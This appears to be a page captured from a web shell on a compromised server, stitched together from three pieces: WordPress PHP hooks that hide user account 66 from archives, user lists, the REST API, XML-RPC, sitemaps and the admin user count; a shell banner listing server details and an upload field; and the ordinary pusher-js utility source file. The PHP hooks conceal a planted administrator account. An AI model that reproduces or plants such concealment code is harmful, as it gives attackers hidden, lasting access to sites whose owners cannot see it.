add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/futuresbattle/node_modules/pusher-js/src/core/utils/ |
Upload File : |
import base64encode from '../base64';
import Util from '../util';
/** Merges multiple objects into the target argument.
*
* For properties that are plain Objects, performs a deep-merge. For the
* rest it just copies the value of the property.
*
* To extend prototypes use it as following:
* Pusher.Util.extend(Target.prototype, Base.prototype)
*
* You can also use it to merge objects without altering them:
* Pusher.Util.extend({}, object1, object2)
*
* @param {Object} target
* @return {Object} the target argument
*/
export function extend<T>(target: any, ...sources: any[]): T {
for (var i = 0; i < sources.length; i++) {
var extensions = sources[i];
for (var property in extensions) {
if (
extensions[property] &&
extensions[property].constructor &&
extensions[property].constructor === Object
) {
target[property] = extend(target[property] || {}, extensions[property]);
} else {
target[property] = extensions[property];
}
}
}
return target;
}
export function stringify(): string {
var m = ['Pusher'];
for (var i = 0; i < arguments.length; i++) {
if (typeof arguments[i] === 'string') {
m.push(arguments[i]);
} else {
m.push(safeJSONStringify(arguments[i]));
}
}
return m.join(' : ');
}
export function arrayIndexOf(array: any[], item: any): number {
// MSIE doesn't have array.indexOf
var nativeIndexOf = Array.prototype.indexOf;
if (array === null) {
return -1;
}
if (nativeIndexOf && array.indexOf === nativeIndexOf) {
return array.indexOf(item);
}
for (var i = 0, l = array.length; i < l; i++) {
if (array[i] === item) {
return i;
}
}
return -1;
}
/** Applies a function f to all properties of an object.
*
* Function f gets 3 arguments passed:
* - element from the object
* - key of the element
* - reference to the object
*
* @param {Object} object
* @param {Function} f
*/
export function objectApply(object: any, f: Function) {
for (var key in object) {
if (Object.prototype.hasOwnProperty.call(object, key)) {
f(object[key], key, object);
}
}
}
/** Return a list of objects own proerty keys
*
* @param {Object} object
* @returns {Array}
*/
export function keys(object: any): string[] {
var keys = [];
objectApply(object, function (_, key) {
keys.push(key);
});
return keys;
}
/** Return a list of object's own property values
*
* @param {Object} object
* @returns {Array}
*/
export function values(object: any): any[] {
var values = [];
objectApply(object, function (value) {
values.push(value);
});
return values;
}
/** Applies a function f to all elements of an array.
*
* Function f gets 3 arguments passed:
* - element from the array
* - index of the element
* - reference to the array
*
* @param {Array} array
* @param {Function} f
*/
export function apply(array: any[], f: Function, context?: any) {
for (var i = 0; i < array.length; i++) {
f.call(context || global, array[i], i, array);
}
}
/** Maps all elements of the array and returns the result.
*
* Function f gets 4 arguments passed:
* - element from the array
* - index of the element
* - reference to the source array
* - reference to the destination array
*
* @param {Array} array
* @param {Function} f
*/
export function map(array: any[], f: Function): any[] {
var result = [];
for (var i = 0; i < array.length; i++) {
result.push(f(array[i], i, array, result));
}
return result;
}
/** Maps all elements of the object and returns the result.
*
* Function f gets 4 arguments passed:
* - element from the object
* - key of the element
* - reference to the source object
* - reference to the destination object
*
* @param {Object} object
* @param {Function} f
*/
export function mapObject(object: any, f: Function): any {
var result = {};
objectApply(object, function (value, key) {
result[key] = f(value);
});
return result;
}
/** Filters elements of the array using a test function.
*
* Function test gets 4 arguments passed:
* - element from the array
* - index of the element
* - reference to the source array
* - reference to the destination array
*
* @param {Array} array
* @param {Function} f
*/
export function filter(array: any[], test: Function): any[] {
test =
test ||
function (value) {
return !!value;
};
var result = [];
for (var i = 0; i < array.length; i++) {
if (test(array[i], i, array, result)) {
result.push(array[i]);
}
}
return result;
}
/** Filters properties of the object using a test function.
*
* Function test gets 4 arguments passed:
* - element from the object
* - key of the element
* - reference to the source object
* - reference to the destination object
*
* @param {Object} object
* @param {Function} f
*/
export function filterObject(object: Object, test: Function) {
var result = {};
objectApply(object, function (value, key) {
if ((test && test(value, key, object, result)) || Boolean(value)) {
result[key] = value;
}
});
return result;
}
/** Flattens an object into a two-dimensional array.
*
* @param {Object} object
* @return {Array} resulting array of [key, value] pairs
*/
export function flatten(object: Object): any[] {
var result = [];
objectApply(object, function (value, key) {
result.push([key, value]);
});
return result;
}
/** Checks whether any element of the array passes the test.
*
* Function test gets 3 arguments passed:
* - element from the array
* - index of the element
* - reference to the source array
*
* @param {Array} array
* @param {Function} f
*/
export function any(array: any[], test: Function): boolean {
for (var i = 0; i < array.length; i++) {
if (test(array[i], i, array)) {
return true;
}
}
return false;
}
/** Checks whether all elements of the array pass the test.
*
* Function test gets 3 arguments passed:
* - element from the array
* - index of the element
* - reference to the source array
*
* @param {Array} array
* @param {Function} f
*/
export function all(array: any[], test: Function): boolean {
for (var i = 0; i < array.length; i++) {
if (!test(array[i], i, array)) {
return false;
}
}
return true;
}
export function encodeParamsObject(data): string {
return mapObject(data, function (value) {
if (typeof value === 'object') {
value = safeJSONStringify(value);
}
return encodeURIComponent(base64encode(value.toString()));
});
}
export function buildQueryString(data: any): string {
var params = filterObject(data, function (value) {
return value !== undefined;
});
var query = map(
flatten(encodeParamsObject(params)),
Util.method('join', '='),
).join('&');
return query;
}
/**
* See https://github.com/douglascrockford/JSON-js/blob/master/cycle.js
*
* Remove circular references from an object. Required for JSON.stringify in
* React Native, which tends to blow up a lot.
*
* @param {any} object
* @return {any} Decycled object
*/
export function decycleObject(object: any): any {
var objects = [],
paths = [];
return (function derez(value, path) {
var i, name, nu;
switch (typeof value) {
case 'object':
if (!value) {
return null;
}
for (i = 0; i < objects.length; i += 1) {
if (objects[i] === value) {
return { $ref: paths[i] };
}
}
objects.push(value);
paths.push(path);
if (Object.prototype.toString.apply(value) === '[object Array]') {
nu = [];
for (i = 0; i < value.length; i += 1) {
nu[i] = derez(value[i], path + '[' + i + ']');
}
} else {
nu = {};
for (name in value) {
if (Object.prototype.hasOwnProperty.call(value, name)) {
nu[name] = derez(
value[name],
path + '[' + JSON.stringify(name) + ']',
);
}
}
}
return nu;
case 'number':
case 'string':
case 'boolean':
return value;
}
})(object, '$');
}
/**
* Provides a cross-browser and cross-platform way to safely stringify objects
* into JSON. This is particularly necessary for ReactNative, where circular JSON
* structures throw an exception.
*
* @param {any} source The object to stringify
* @return {string} The serialized output.
*/
export function safeJSONStringify(source: any): string {
try {
return JSON.stringify(source);
} catch (e) {
return JSON.stringify(decycleObject(source));
}
}